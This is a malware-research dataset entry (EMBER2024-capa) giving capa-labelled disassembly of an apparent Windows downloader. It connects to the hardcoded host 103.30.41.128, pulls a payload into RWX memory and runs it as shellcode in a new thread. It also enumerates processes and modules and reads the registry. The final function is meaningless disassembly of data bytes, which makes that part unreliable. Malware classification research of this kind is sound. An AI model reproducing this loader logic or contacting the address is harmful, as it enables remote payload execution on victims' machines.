joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401bc0
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 8
mov ecx, dword [0x417a00]
mov edx, dword [0x417a08]
push esi
push edi
mov eax, dword [ecx]
mov edi, ecx
test edx, edx
mov dword [esp + 8], eax
je 0x401c45
mov edx, eax
cmp eax, edx
jne 0x401c45
cmp edi, ecx
jne 0x401c45
mov edi, dword [ecx + 4]
mov eax, dword [0x417a10]
cmp edi, eax
mov esi, edi
je 0x401c27
mov eax, dword [esi + 8]
mov ecx, 0x4179fc
push eax
call fcn.00402950
mov esi, dword [esi]
lea ecx, [edi + 0xc]
call sub.MFC42.DLL_CString::CString
push edi
call sub.MFC42.DLL_operatordelete
mov eax, dword [0x417a10]
add esp, 4
cmp esi, eax
mov edi, esi
jne 0x401bf5
mov ecx, dword [0x417a00]
mov dword [ecx + 4], eax
mov eax, dword [0x417a00]
mov dword [0x417a08], 0
mov dword [eax], eax
mov eax, dword [0x417a00]
mov dword [eax + 8], eax
jmp 0x401c6c
cmp eax, edi
je 0x401c6c
lea ecx, [esp + 8]
mov esi, eax
call fcn.00403020
lea ecx, [esp + 0xc]
push esi
push ecx
mov ecx, 0x4179fc
call fcn.00402540
mov eax, dword [esp + 8]
cmp eax, edi
jne 0x401c49
mov edx, dword [esp + 0x14]
push edx
push 0x401c90
call dword [sym.imp.USER32.dll_EnumWindows]
pop edi
pop esi
add esp, 8
ret

Function at 0x405b30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebp
push esi
push edi
push eax
push 0xf003f
push 0
push str.PerfStatsStartStat
push htonl
mov ebp, ecx
call ebx
test eax, eax
jne 0x405c2e
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push str.KERNELCPUUsage
push ecx
mov dword [esp + 0x2c], 4
call esi
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call edi
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push str.PerfStatsStatData
push htonl
call ebx
test eax, eax
jne 0x405c2e
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push str.KERNELCPUUsage
push ecx
mov dword [esp + 0x2c], 4
call esi
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
push eax
mov dword [ebp + 0x64], edx
call edi
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push str.PerfStatsStopStat
push htonl
call ebx
test eax, eax
jne 0x405c2e
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push str.KERNELCPUUsage
push edx
mov dword [esp + 0x2c], 4
call esi
mov eax, dword [esp + 0x10]
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x406f90
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x410998
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x68]
test eax, eax
jne 0x40703a
push esi
lea ecx, [esp + 8]
call fcn.0040fd8c
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.0040fe76
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x407021
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x407021
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x68], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x407050
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4070b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4072c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
push edi
push ebp
push 0
push 0
push eax
push str.open
push 0
mov edi, ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4073b4
lea ecx, [esp + 0x10]
push ecx
push str..htm
push connect
mov ecx, edi
call fcn.00407050
test eax, eax
jne 0x4073b4
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push connect
mov ecx, edi
call fcn.00407050
test eax, eax
jne 0x4073b4
lea edx, [esp + 0x10]
push str.__1_
push edx
call dword [sym.imp.MSVCRT.dll__mbsstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x407385
lea eax, [esp + 0x10]
push 0x417448
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x407385
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x407388
mov byte [esi], 0
push 0x417094
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
Function at 0x4097d0
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x410dd6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebp
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push esi
mov esi, ecx
push edi
push 0
mov eax, dword [esi + 0x160]
push 0
push 0x14b
push eax
call ebp
push 0
push 2
mov dword [esp + 0x14], 0xffffffff
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x144], 0
call fcn.0040fd8c
mov edx, dword [esp + 0xc]
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], 0x128
mov byte [esp + 0x144], 1
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push ecx
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x409931
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jne 0x40989a
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x409931
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jne 0x40989a
lea edx, [esp + 0x14]
lea ecx, [esp + 0xc]
push edx
call fcn.00409990
test eax, eax
je 0x409931
mov edi, dword [sym.imp.MSVCRT.dll__mbsrchr]
lea eax, [esp + 0x38]
push 0x5c
push eax
call edi
add esp, 8
test eax, eax
jne 0x4098be
lea eax, [esp + 0x38]
jmp 0x4098bf
inc eax
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push ecx
push eax
push str._s________ld_
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x20]
mov ecx, dword [esi + 0x160]
add esp, 0x10
push eax
push 0
push 0x143
push ecx
call ebp
mov edx, dword [esp + 0x1c]
push edx
push eax
mov eax, dword [esi + 0x160]
push 0x151
push eax
call ebp
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x14]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x409931
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jne 0x409929
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
push eax
call fcn.00409990
test eax, eax
jne 0x4098a8
mov ecx, dword [esi + 0x160]
push 0
push 0
push 0x14e
push ecx
call ebp
lea ecx, [esp + 0x10]
mov byte [esp + 0x144], 0
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0xc]
pop edi
pop esi
cmp eax, 0xffffffff
pop ebp
je 0x409967
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
add esp, 0x13c
ret
Function at 0x4099d0
Capabilities:
Enumerate process modules

Disassembly:
push 0xffffffffffffffff
push 0x410e1d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, ecx
push edi
push 0
mov eax, dword [ebx + 0x160]
push 0
push 0x147
push eax
mov dword [esp + 0x28], ebx
call esi
mov ecx, dword [ebx + 0xb0]
push 0
push 0
push 0x1009
push ecx
mov edi, eax
call esi
mov edx, dword [ebx + 0x160]
push 0
push edi
push 0x150
push edx
call esi
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp + 0x10], esi
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0x224
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24c], 0
push eax
push esi
call sub.KERNEL32.dll_Module32First
xor edi, edi
test eax, eax
je 0x409b5b
push ebp
lea ebp, [ebx + 0x90]
push 0x18
call sub.MFC42.DLL_operatornew
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
test esi, esi
je 0x409ae7
mov ecx, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov dword [esp + 0x18], ecx
mov dword [esi + 4], edi
mov dword [esi], 0x4137c4
lea edx, [esp + 0x44]
lea ecx, [esi + 8]
push edx
mov byte [esp + 0x254], 2
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x144]
lea ecx, [esi + 0xc]
push eax
mov byte [esp + 0x254], 3
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x18]
mov dword [esi + 0x14], ebx
mov ebx, dword [esp + 0x1c]
mov dword [esi + 0x10], ecx
mov dword [esi], 0x4137c0
jmp 0x409ae9
xor esi, esi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 1
mov ecx, ebp
mov byte [esp + 0x26c], 0
call sub.MFC42.DLL_CListCtrl::InsertItem
push 0xffffffffffffffff
push 1
push edi
mov ecx, ebp
call sub.MFC42.DLL_CListCtrl::SetItemText
push 0xffffffffffffffff
push 2
push edi
mov ecx, ebp
call sub.MFC42.DLL_CListCtrl::SetItemText
push 0xffffffffffffffff
push 3
push edi
mov ecx, ebp
call sub.MFC42.DLL_CListCtrl::SetItemText
push esi
push 0
push 0
push 0
push 0
push 4
push 0
push edi
mov ecx, ebp
call sub.MFC42.DLL_CListCtrl::SetItem
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push eax
inc edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x409a7b
mov esi, dword [esp + 0x14]
pop ebp
push 0
push 0
lea ecx, [ebx + 0x90]
call fcn.0040bbb0
lea ecx, [esp + 0xc]
call fcn.0040fd8c
push 0
lea ecx, [esp + 0x10]
push 0x4174cc
push ecx
mov byte [esp + 0x258], 4
mov dword [ebx + 0x184], 0
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x18]
add esp, 0xc
mov ecx, ebx
push edx
push 0x418
call sub.MFC42.DLL_CWnd::GetDlgItem
mov ecx, eax
call sub.MFC42.DLL_CWnd::SetWindowTextA
lea ecx, [esp + 0xc]
mov byte [esp + 0x24c], 0
call sub.MFC42.DLL_CString::CString
cmp esi, 0xffffffff
je 0x409bce
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x244]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x244
ret
Function at 0x40cb30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x411265
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x18], edi
lea ecx, [edi + 0x1a54]
mov dword [esp + 0x30], 8
call sub.MFC42.DLL_CImageList::CImageList
mov eax, dword [edi + 0x1538]
mov esi, dword [edi + 0x1534]
xor ebx, ebx
cmp esi, eax
mov byte [esp + 0x30], 7
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], esi
je 0x40cc27
add esi, 0x428
push ebp
lea eax, [esp + 0x20]
mov ecx, esi
push eax
call fcn.00402100
lea ecx, [esp + 0x24]
mov ebp, eax
push ecx
mov ecx, esi
call fcn.004020f0
mov edx, dword [ebp]
mov eax, dword [eax]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
mov ecx, esi
call fcn.00403790
mov edx, dword [esi + 4]
mov ecx, esi
push edx
call fcn.004011c0
lea ecx, [esp + 0x14]
mov dword [esi + 4], ebx
mov dword [esi + 0xc], ebx
xor ebp, ebp
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::constructor_void_]
mov eax, dword [0x417a18]
dec eax
mov dword [0x417a18], eax
jne 0x40cbf1
mov ebp, dword [0x417a14]
mov dword [0x417a14], ebx
lea ecx, [esp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
cmp ebp, ebx
je 0x40cc07
push ebp
mov ecx, esi
call fcn.004011c0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
add eax, 0x53c
add esi, 0x53c
cmp eax, ecx
mov dword [esp + 0x10], eax
jne 0x40cb8e
pop ebp
mov eax, dword [edi + 0x1534]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [edi + 0x14b0]
mov dword [edi + 0x1534], ebx
mov dword [edi + 0x1538], ebx
mov dword [edi + 0x153c], ebx
mov byte [esp + 0x30], 6
call fcn.004100b6
lea ecx, [edi + 0x1128]
mov byte [esp + 0x30], 5
call fcn.00409700
lea ecx, [edi + 0x308]
mov byte [esp + 0x30], 4
call fcn.004045e0
lea ecx, [edi + 0x234]
mov byte [esp + 0x30], 3
call fcn.0040a900
lea ecx, [edi + 0x154]
mov byte [esp + 0x30], 2
call fcn.004012a0
lea ecx, [edi + 0xc8]
mov byte [esp + 0x30], 1
call fcn.004100b0
lea ecx, [edi + 0x60]
mov byte [esp + 0x30], bl
call fcn.00408030
mov ecx, edi
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42.DLL_CDialog::CDialog
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x40df70
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
push edi
mov edi, ecx
mov ecx, dword [0x417e1c]
call fcn.0040fa90
push 0x40
push 0x3000
push 0x4c530
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x417e1c]
mov esi, eax
push 0x4c530
push ecx
push esi
call fcn.0040fa70
push 0
push 0
push esi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 0xc]
push 0x8a
push eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov dword [edi + 0x1a50], eax
pop edi
pop esi
ret

Function at 0x40eee0
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40ef02
push 0
call dword [sym.imp.MSVCRT.dll_exit]
add esp, 0x190
ret
Function at 0x40ef10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get common file path

Disassembly:
sub esp, 0x240
push ebp
push esi
push edi
call fcn.0040eee0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x417e20], eax
je 0x40f101
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x417e28]
mov dword [esp + 0xc], 0
test eax, eax
jne 0x40f093
mov eax, dword [0x417e24]
mov dword [esp + 0x10], str.getaddrinfo
test eax, eax
mov dword [esp + 0x14], 0x40f160
mov dword [esp + 0x18], str.getnameinfo
mov dword [esp + 0x1c], 0x40f850
mov dword [esp + 0x20], str.freeaddrinfo
mov dword [esp + 0x24], 0x40f110
jne 0x40f089
lea eax, [esp + 0x144]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x40f07f
xor eax, eax
mov cl, byte [esp + eax + 0x144]
mov byte [esp + eax + 0x38], cl
inc eax
test cl, cl
jne 0x40efad
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x4179a8]
repne scasb al, byte es:[edi]
mov ecx, dword [str.ws2_32]
dec edi
lea eax, [esp + 0x38]
mov dword [edi], ecx
push eax
mov dword [edi + 4], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40effe
push str.getaddrinfo
push esi
call ebp
test eax, eax
jne 0x40f053
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov cl, byte [esp + eax + 0x144]
mov byte [esp + eax + 0x38], cl
inc eax
test cl, cl
jne 0x40f000
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x4179a0]
repne scasb al, byte es:[edi]
mov ecx, dword [str.wship6]
dec edi
lea eax, [esp + 0x38]
mov dword [edi], ecx
push eax
mov dword [edi + 4], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40f07f
push str.getaddrinfo
push esi
call ebp
test eax, eax
jne 0x40f053
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40f07f
xor edi, edi
mov ecx, dword [esp + edi*8 + 0x10]
push ecx
push esi
call ebp
test eax, eax
mov dword [esp + edi*8 + 0x14], eax
je 0x40f04a
inc edi
cmp edi, 3
jl 0x40f055
xor eax, eax
mov edx, dword [esp + eax + 0x14]
mov dword [eax + 0x417988], edx
add eax, 8
cmp eax, 0x18
jl 0x40f06d
mov dword [0x417e24], 1
mov eax, dword [0x417988]
mov dword [0x417e28], eax
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push str.103.30.41.128
call eax
mov esi, eax
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
test esi, esi
jne 0x40f101
mov edx, dword [esp + 0xc]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax]
mov dword [esp + 0x28], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x2c], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x30], ecx
mov edx, dword [eax + 0xc]
mov ax, word [0x417950]
push eax
mov dword [esp + 0x38], edx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [0x417e20]
lea ecx, [esp + 0x28]
push 0x10
push ecx
push edx
mov word [esp + 0x36], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40ef3e
pop edi
pop esi
pop ebp
add esp, 0x240
ret
Function at 0x40fa90
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
mov eax, 0x2000
call fcn.00410160
push ebx
push esi
push edi
mov ebx, ecx
call fcn.0040ef10
mov eax, dword [0x417e20]
push 0
push 0xa
push str.hp_socket
push eax
call dword [sym.imp.WS2_32.dll_send]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [0x417e20]
push 0
lea ecx, [esp + 0x10]
push 0x2000
push ecx
push edx
call edi
test eax, eax
jle 0x40fb5a
mov edx, dword [0x417e1c]
lea ecx, [esp + 0xc]
push eax
push ecx
lea ecx, [edx + esi + 0x4c530]
push ecx
mov ecx, ebx
call fcn.0040fa70
add esi, eax
cmp esi, 0x4c530
jne 0x40fae1
mov eax, dword [0x417e1c]
push esi
mov ecx, ebx
lea edx, [eax + 0x4c530]
push edx
push eax
call fcn.0040fa70
mov eax, dword [0x417e1c]
push 0x128
add eax, 0x4c408
push str.103.30.41.128
push eax
mov ecx, ebx
call fcn.0040fa70
pop edi
pop esi
pop ebx
add esp, 0x2000
ret
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x4941b0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x14
push esi
push edi
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
push 0x851f48
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x14
push 0x40
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test edi, edi
je 0x494220
mov edx, dword [0x651d78]
push 0x651aa8
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.GlobalAStateLIB
push 0
lea eax, [esp + 0x18]
push 1
push eax
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
mov dword [0x651d74], eax
pop esi
add esp, 0x14
ret
Function at 0x4eeedb
Capabilities:
Encode data using xor

Disassembly:
adc bh, byte [0x1d12dc25]
add eax, 0x732e3693
jns 0x4eee3a
mov ebx, 0xfd95e9ac
invalid
inc edi
xor byte [esi + 0x42], 0xe6
adc dword [ecx + ebp*8], 0x56
inc eax
jae 0x4eee77
push edx
out 0x86, eax
inc eax
ja 0x4eee4e
pushal
cmp ebp, edx
mov word [edi - 0x26fa9a20], ss
and dword [esi - 0x26a9b1df], 0xffffffb5
cmpsd dword [esi], dword es:[edi]
mov ch, 0xe8
mov edx, 0xc6957438
or eax, 0x2dba9252
push 0x6d
invalid
ljmp 0xd905:0x65e0978c
pop edx
clc
jo 0x4eeecd
cmp byte [eax], 0x93
into
xchg ebx, eax
adc eax, 0x97bfe642
sal dword [esi - 0x6a], cl
sub eax, 0x1e89f350
fnstsw word [esi]
test byte [ebx], ah
mov esi, 0x7e3ba719
mov esi, 0x6c0bacbc
add eax, 0x8fa3efb2
xor esi, edi
cdq
fnstcw word [eax - 0x2a]
shl byte [esi + 0x196337e2], 1
cmp edx, dword [ebx - 0x6a329bde]
invalid
and cl, byte [eax - 0x7d]
adc eax, 0x36bf2682
mov dh, 0x93
jbe 0x4eef11
inc ebx
add ah, byte [ebx - 0x13bbd235]
sub eax, dword [ebx]
cmp dword [esi], ebp
jae 0x4eef0e
jae 0x4eef0e
cmc
call [edx - 0x911088f]
mov dword [0x621c5efe], eax
bound edi, qword [ebx]
mov ah, 0x42
or esi, esi
xor byte [edi + 0x39401489], 0x32
xor dl, byte [esi + 0x33]
push esi
xor ecx, dword [eax + 0x56]
dec eax
push esi
push esi
adc dword [esi - 0x79fe7994], edx
sahf
jp 0x4eeee7
fisttp qword [ebp - 0x1c]
sub cl, 0x1a
aad 0xd2
loop 0x4eeeb7
mov bh, 0xe2
std
loop 0x4eeeff
test byte [ebp + 0x6207f0a3], 0x65
jae 0x4eeeea
invalid
int 0x39
daa
push 0x6d
or bh, ch
std
jae 0x4eeea1
mov byte [0xd4d299fd], al
or byte [ecx], 0xc2
push es
cmpsb byte [esi], byte es:[edi]
test eax, 0x5450f4ba
mov dh, 0x15
or al, byte [edx]
cmp byte [esi + esi - 0x6a], dl
sbb eax, 0xfc93ceb
xlatb
xchg ecx, eax
jne 0x4eef63
push es
and eax, 0x758dc2ed
lodsb al, byte [esi]
inc esi
push edx
adc esi, dword [ebx]
test bl, 0x76
cmpsb byte [esi], byte es:[edi]
shl byte [esi], cl
push edx
cdq
clc
jmp 0x9274fec8
push es
sbb byte [ecx], bl
jbe 0x4eef05
out 0x5a, al
enter 0x2e93, 0xffffffffffffffaf
push esp
rcl byte [0xf2f716ed], cl
adc eax, 0x2098d9a2
pushal
sbb bh, ch
mov dword [0x384db7b4], eax
or al, 8
jbe 0x4eef70
add edx, dword [esp + edi*8 + 0x65]
in al, dx
mov edx, 0xc91c670c
and dword [eax + 0x7d], ebp
xor ch, ch
jge 0x4eefc7
in eax, dx
wait
sub ebx, ebx
jns 0x4eef93
cli
movsd dword es:[edi], dword [esi]
pop esp
sti
mov eax, dword [0x8d22bc82]
jns 0x4ef00b
sub bl, byte [edx + ecx*8 + 0x3d]
test al, 0x3c
sub ecx, eax
pop ecx
sete bl
pop esp
ret 0xf646
neg byte [eax + 0x2c9074fa]
aaa
enter 0xffffffffffffa422, 0x62
and dword [edx + 0x7214a8d7], 0x8ebf0a1
aam 0x10
xor dword [ebx - 0x5e], esi
cmpsd dword [esi], dword es:[edi]
aaa
push eax
imul esp, dword [eax], 0xffffffb9
out dx, al
ror byte [ebp - 0x4400f0ca], 1
add esi, dword [ecx - 0x3d9159f9]
cmp dword [eax + 0xafb2aab], eax
jmp 0xe28556f1
invalid
push ds
adc eax, 0x943e6773
inc edi
test byte [esi], dh
jge 0x4eefb5
invalid